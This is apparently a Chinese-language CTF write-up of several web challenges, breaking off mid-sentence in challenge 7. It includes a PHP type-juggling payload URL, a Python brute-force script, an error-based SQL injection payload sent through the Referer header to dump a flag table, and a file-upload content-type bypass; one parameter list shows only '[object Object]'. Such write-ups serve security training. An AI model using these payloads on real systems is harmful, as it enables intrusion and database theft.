讲真,这次的题确实价值不很大,脑洞太多了,而且很多无意义的脑洞,不过个别题还可以,另外第16题和21题没有做出来,希望有做出来的菊苣给点hint
题目1
先看源码,然后看到可以链接Index.php
,
跟过去看到flag
A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}
题目2
先用firefox把submit的disable去掉
然后勾选好抓包,把提交参数修改如下:
[object Object]
题目3
同样抓包,把cookie中的Member
参数修改为Admin
的base64的编码
题目4
一道简单php代码审计
payload如下:
http://218.76.35.75:20114/?foo={"bar1":"2017f","bar2":[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016
拿到flag
flag{php_i5_n0t_b4d}
题目5
把bob
和sam
的MD5解出来分别是bob317
和sam429
,没有什么规律,写个脚本简单爆破一下slash
后面的数字,
import requests
import hashlib
r=requests.session()
url="http://218.76.35.75:20115/index.php"
for i in xrange(1000):
header={
"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"}
param=hashlib.md5("slash"+str(i)).hexdigest()
tmpurl=url+"?page="+param
print tmpurl
result=r.get(tmpurl,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break
爆破出数字是723,脚本截图
题目6
根据提示,是http头的注入,那就把头全都试一遍,发现注入点在referer
参数,然后简单试试,发现可以报错注入,懒得写脚本了,这里也没啥过滤,直接暴库就可以了。
爆出的数据库名为ctf
该数据库里面有flag
和visits
两张表
然后在flag
表里面有id
和flag
两列
最后的payload如下:
2',extractvalue(1,concat(0x3c,(select group_concat(id,"==",flag) from flag))))#
结果截图如下
题目7
看题目,随便先上传一个图片,提示
随便上传个php又提示说只要jpg文件,ssctf2016的原题一枚
参照乌云漏洞:http://www.wooyun.org/bugs/wooyun-2015-0125982
如下图,把multipart/form-data变换一下大小写,再把第二个Content-T